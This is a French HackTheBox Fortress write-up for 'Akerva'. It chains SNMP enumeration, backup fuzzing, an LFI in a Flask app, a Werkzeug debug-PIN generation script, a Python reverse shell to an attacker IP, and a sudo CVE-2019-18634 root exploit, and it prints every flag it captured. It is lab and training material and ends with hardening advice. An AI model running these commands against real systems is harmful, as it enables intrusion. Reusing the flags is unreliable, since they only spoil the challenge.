HackTheBox Writeup

Akerva

Akerva - Fortress HackTheBox (SNMP, Flask, LFI, Werkzeug)

Vue d'Ensemble

Akerva est un Fortress HackTheBox créé par @lydericlefebvre de la société Akerva. Ce challenge combine plusieurs vulnérabilités web et système :

  • Énumération SNMP (Simple Network Management Protocol)
  • Local File Inclusion (LFI)
  • Bypass de PIN Werkzeug
  • Escalade de privilèges via faille sudo

Environnement :

  • IP : 10.13.37.11
  • Hostname : akerva.htb / Leakage
  • OS : Ubuntu 18.04 Linux 4.15.0-72-generic
  • Objectif : 8 flags à capturer

Phase 1 : Reconnaissance

Scan Nmap TCP

└─$ nmap -Pn -sV -sC -p- -T4 -A akerva.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-19 01:46 CET

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 0d:e4:41:fd:9f:a9:07:4d:25:b4:bd:5d:26:cc:4f:da (RSA)
|   256 f7:65:51:e0:39:37:2c:81:7f:b5:55:bd:63:9c:82:b5 (ECDSA)
|_  256 28:61:d3:5a:b9:39:f2:5b:d7:10:5a:67:ee:81:a8:5e (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to http://10.13.37.11/
|_http-server-header: Apache/2.4.29 (Ubuntu)
5000/tcp open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_  Basic realm=Authentication Required
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Services identifiés :

  • Port 22 : OpenSSH 7.6p1
  • Port 80 : Apache 2.4.29 (site web principal)
  • Port 5000 : Application Flask avec Werkzeug 0.16.0 (Python 2.7.15+)

Scan Nmap UDP

└─$ sudo nmap -sU -sV -T4 -A akerva.htb

PORT      STATE SERVICE         VERSION
161/udp   open  snmp            SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 423f5e76cd7abe5e00000000
|   snmpEngineBoots: 6
|_  snmpEngineTime: 7d16h36m35s
| snmp-sysdescr: Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64
|_  System uptime: 7d16h36m35.67s (66459567 timeticks)
Service Info: Host: Leakage

Service critique :

  • Port 161/UDP : SNMP (version 1) avec community string "public"

Configuration /etc/hosts :

10.13.37.11  akerva.htb Leakage

Phase 2 : Énumération Web - Port 80

Flag 1 : Commentaire HTML

Analyse du code source de la page web :

<!-- Hello folks! -->
<!-- This machine is powered by @lydericlefebvre from Akerva company. -->
<!-- You have to find 8 flags on this machine. Have a nice root! -->
<!-- By the way, the first flag is: AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts} -->

🚩 Flag 1 : AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts}


Phase 3 : Énumération SNMP

Énumération avec snmpwalk

└─$ perl /usr/share/doc/libnet-snmp-perl/examples/snmpwalk.pl -v 1 -c public 10.13.37.11

1.3.6.1.2.1.1.1.0 = OCTET STRING: Linux Leakage 4.15.0-72-generic #81-Ubuntu
1.3.6.1.2.1.1.5.0 = OCTET STRING: Leakage
1.3.6.1.2.1.1.6.0 = OCTET STRING: Sitting on the Dock of the Bay

Informations système :

  • Hostname : Leakage
  • OS : Ubuntu 18.04 avec kernel 4.15.0-72-generic

Découverte de Processus Suspect

En analysant les processus SNMP, on découvre un script de backup :

1.3.6.1.2.1.25.4.2.1.5.1237 = OCTET STRING: /var/www/html/scripts/backup_every_17minutes.sh AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}

🚩 Flag 2 : AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}

Script identifié : /var/www/html/scripts/backup_every_17minutes.sh

Flag 3 : Récupération du Script de Backup

└─$ curl -XPOST http://akerva.htb/scripts/backup_every_17minutes.sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{IKNoW###VeRbTamper!nG_==}
#

SAVE_DIR=/var/www/html/backups

while true
do
        ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
        echo "Erasing old backups..."
        rm -rf $SAVE_DIR/*

        echo "Backuping..."
        zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*

        echo "Done..."
        sleep 1020
done

🚩 Flag 3 : AKERVA{IKNoW###VeRbTamper!nG_==}

Découverte : Des backups sont créés toutes les 17 minutes (1020 secondes) dans /var/www/html/backups/


Phase 4 : Récupération du Backup

Fuzzing des Backups

Les backups sont nommés avec la date : backup_YYYYMMDDHHMMSS.zip

Génération d'une wordlist pour les secondes/minutes :

└─$ crunch 6 6 0123456789 -o 6-digits-000000-999999.txt
Crunch will now generate the following amount of data: 7000000 bytes
crunch: 100% completed generating output

Fuzzing avec wfuzz :

└─$ wfuzz -u http://akerva.htb/backups/backup_20231219FUZZ.zip -w 6-digits-000000-999999.txt --hc 404

ID           Response   Lines    Word       Chars       Payload
=====================================================================
000014650:   200        82458    808134 W   20937179    "014649"

URL du backup : http://akerva.htb/backups/backup_20231219014649.zip

└─$ wget http://akerva.htb/backups/backup_20231219014649.zip
└─$ unzip backup_20231219014649.zip

Flag 4 : Analyse du Code Source Flask

└─$ cat var/www/html/dev/space_dev.py
#!/usr/bin/python

from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
auth = HTTPBasicAuth()

users = {
        "aas": generate_password_hash("AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")
}

@auth.verify_password
def verify_password(username, password):
    if username in users:
        return check_password_hash(users.get(username), password)
    return False

@app.route('/')
@auth.login_required
def hello_world():
    return 'Hello, World!'

@app.route("/file")
@auth.login_required
def file():
        filename = request.args.get('filename')
        try:
                with open(filename, 'r') as f:
                        return f.read()
        except:
                return 'error'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port='5000', debug = True)

🚩 Flag 4 : AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}

Découvertes critiques :

  • Credentials : aas:AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}
  • Vulnérabilité LFI : Route /file avec paramètre filename non sécurisé
  • Mode debug activé : Werkzeug console accessible

Phase 5 : Exploitation LFI (Local File Inclusion)

Authentification à l'Application Flask

Création de l'en-tête Authorization :

└─$ echo -n 'aas:AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}' | base64
YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0=

Lecture de /etc/passwd

└─$ curl 'http://10.13.37.11:5000/file?filename=/etc/passwd' \
  -H 'Authorization: Basic YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0='

root:x:0:0:root:/root:/bin/bash
[...]
aas:x:1000:1000:Lyderic Lefebvre:/home/aas:/bin/bash
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false

Utilisateur cible identifié : aas (Lyderic Lefebvre)

Flag 5 : Lecture du Flag User

└─$ curl 'http://10.13.37.11:5000/file?filename=/home/aas/flag.txt' \
  -H 'Authorization: Basic YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0='

AKERVA{IKNOW#LFi_@_}

🚩 Flag 5 : AKERVA{IKNOW#LFi_@_}


Phase 6 : Bypass du PIN Werkzeug

Console Werkzeug

L'application Flask expose une console de debug à http://10.13.37.11:5000/console protégée par un PIN.

Ressources :

Collecte des Informations Nécessaires

1. Adresse MAC de l'interface réseau :

└─$ curl 'http://10.13.37.11:5000/file?filename=/sys/class/net/ens33/address' \
  -H 'Authorization: Basic YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0='

00:50:56:b9:14:e2

Conversion en décimal :

>>> print(0x005056b914e2)
345052353762

2. Machine ID :

└─$ curl 'http://10.13.37.11:5000/file?filename=/etc/machine-id' \
  -H 'Authorization: Basic YWFzOkFLRVJWQXsxa24wd19IMHdfVE9fJENyMXBfVF8kJCQkJCQkJH0='

258f132cd7e647caaf5510e3aca997c1

Génération du PIN

Script Python pour générer le PIN :

import hashlib
from itertools import chain

probably_public_bits = [
        'aas',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
        '345052353762', # str(uuid.getnode()),  /sys/class/net/ens33/address
        '258f132cd7e647caaf5510e3aca997c1' # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
        if not bit:
                continue
        if isinstance(bit, str):
                bit = bit.encode('utf-8')
        h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
        for group_size in 5, 4, 3:
                if len(num) % group_size == 0:
                        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                                                  for x in range(0, len(num), group_size))
                        break
        else:
                rv = num

print(rv)

Exécution :

└─$ python exploit.py
209-825-416

PIN généré : 209-825-416

Accès Initial via Reverse Shell

Reverse shell Python exécuté dans la console Werkzeug :

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

Listener :

└─$ pwncat-cs -lp 1234
[03:13:12] received connection from 10.13.37.11:57326
[03:13:13] 0.0.0.0:1234: upgrading from /bin/dash to /bin/bash
[03:13:14] 10.13.37.11:57326: registered new host w/ db
(local) pwncat$
(remote) aas@Leakage:/home/aas$

Flag 6 : Flag Caché dans le Home

(remote) aas@Leakage:/home/aas$ cat .hiddenflag.txt
AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}

🚩 Flag 6 : AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}


Phase 7 : Escalade de Privilèges - Root

Énumération Sudo

(remote) aas@Leakage:/home/aas$ sudo -l
[sudo] password for aas:

Vulnérabilité identifiée : Sudo vulnérable à CVE-2019-18634

└─$ searchsploit sudo
sudo 1.8.0 to 1.9.12p1 - Privilege Escalation | linux/local/51217.sh

Exploitation CVE-2019-18634

Upload de l'exploit :

(local) pwncat$ upload ./sudo-cve-2019-18634/exploit
./exploit ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 843.5/843.5 KB
[03:31:18] uploaded 843.48KiB in 0.95 seconds

Exécution :

(remote) aas@Leakage:/tmp$ chmod +x ./exploit
(remote) aas@Leakage:/tmp$ ./exploit
[sudo] password for aas:
Pauses for audience applause, not a sausage
(remote) root@Leakage:/tmp#

Flag 7 : Root Flag

(remote) root@Leakage:/tmp$ cat /root/flag.txt
AKERVA{IkNow_Sud0_sUckS!}

🚩 Flag 7 : AKERVA{IkNow_Sud0_sUckS!}


Phase 8 : Post-Exploitation

Note Sécurisée en Base64

(remote) root@Leakage:/root$ cat secured_note.md
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK

@AKERVA_FR | @lydericlefebvre

Décodage :

(remote) root@Leakage:/root$ echo "R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK" | base64 -d

GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE

Analyse : Cette chaîne semble être un texte chiffré ou encodé (substitution, ROT, etc.)

🚩 Flag 8 : À déchiffrer depuis secured_note.md


Résumé des 8 Flags

#FlagMéthode d'Obtention
1AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts}Commentaire HTML sur port 80
2AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}Énumération SNMP (processus)
3AKERVA{IKNoW###VeRbTamper!nG_==}Script backup récupéré via HTTP
4AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}Code source Flask dans backup
5AKERVA{IKNOW#LFi_@_}LFI pour lire /home/aas/flag.txt
6AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}Bypass PIN Werkzeug + shell
7AKERVA{IkNow_Sud0_sUckS!}Escalade sudo CVE-2019-18634
8À déchiffrerNote Base64 dans /root/secured_note.md

Outils Utilisés

Reconnaissance

  • nmap : Scan TCP et UDP
  • curl : Interaction HTTP
  • snmpwalk : Énumération SNMP

Exploitation Web

  • wfuzz : Fuzzing de backups
  • crunch : Génération de wordlists
  • Python : Génération de PIN Werkzeug

Post-Exploitation

  • pwncat-cs : Shell interactif amélioré
  • searchsploit : Recherche d'exploits

Compétences Développées

  1. Énumération SNMP : Community strings, extraction d'informations système
  2. Analyse de Backups : Fuzzing temporel, récupération de sources
  3. Local File Inclusion (LFI) : Lecture de fichiers arbitraires
  4. Bypass Werkzeug PIN : Calcul de PIN via paramètres système
  5. Exploitation Sudo : CVE-2019-18634 (Buffer Overflow)
  6. Python Scripting : Génération de PIN, reverse shells
  7. Analyse de Code Source : Identification de vulnérabilités dans Flask

Points Clés à Retenir

SNMP

  • 🔍 Community strings par défaut : "public" est souvent configuré
  • 🔍 Informations sensibles : SNMP expose processus, configurations, scripts
  • 🔍 MIB 1.3.6.1.2.1.25 : Contient des informations sur les processus

Flask/Werkzeug

  • ⚠️ Debug mode : Ne jamais activer en production
  • ⚠️ PIN Werkzeug : Calculable avec accès LFI (MAC, machine-id, username)
  • ⚠️ LFI : Toujours valider les inputs utilisateur

Sécurité Linux

  • ⚠️ Commentaires HTML : Ne jamais y mettre d'informations sensibles
  • ⚠️ Backups exposés : Sécuriser les répertoires de backup
  • ⚠️ Sudo : Maintenir à jour pour éviter CVE-2019-18634

Recommandations de Sécurité

SNMP

  • 🔒 Changer community strings : Utiliser des valeurs fortes
  • 🔒 SNMPv3 : Privilégier la version 3 avec authentification
  • 🔒 Firewall : Limiter l'accès au port 161/UDP

Application Web

  • 🔒 Mode Debug : Désactiver en production
  • 🔒 Validation d'entrée : Sanitiser tous les paramètres (filename, etc.)
  • 🔒 Backups : Ne pas exposer publiquement
  • 🔒 Authentification : Utiliser des credentials robustes

Système

  • 🔒 Sudo à jour : Patcher régulièrement
  • 🔒 Permissions fichiers : Éviter les fichiers world-readable sensibles
  • 🔒 Monitoring : Surveiller les accès SNMP et HTTP anormaux

Méthodologie de Résolution Recommandée

  1. Scan complet TCP + UDP : Ne pas négliger les protocoles UDP
  2. Énumération SNMP : Toujours tester "public" et "private"
  3. Analyse de code source : Examiner commentaires HTML et scripts
  4. Exploitation progressive : LFI → Collecte info → Bypass → Shell
  5. Énumération post-exploitation : sudo -l, SUID, cron, etc.

Références et Ressources

Documentation

CVE

Outils


Notes Importantes

⚠️ Avertissement : Ce writeup est à des fins éducatives uniquement. Les techniques présentées ne doivent être utilisées que dans des environnements autorisés (CTF, pentesting avec autorisation écrite).

💡 Conseil : Ce Fortress est excellent pour pratiquer :

  • L'énumération de protocoles moins communs (SNMP)
  • L'exploitation de frameworks Python (Flask/Werkzeug)
  • Le chaînage de vulnérabilités (LFI → RCE)
  • L'analyse de code source pour identifier des failles

Conclusion

Akerva est un Fortress complet qui enseigne :

  • L'importance de l'énumération exhaustive (TCP et UDP)
  • Les risques des configurations par défaut (SNMP public)
  • Les dangers du mode debug en production (Werkzeug)
  • Le chaînage de vulnérabilités pour obtenir un accès système complet

Ce challenge simule des failles réalistes rencontrées en environnement professionnel et développe des compétences directement applicables en pentest.

Merci à @lydericlefebvre et @AKERVA_FR pour ce challenge de qualité !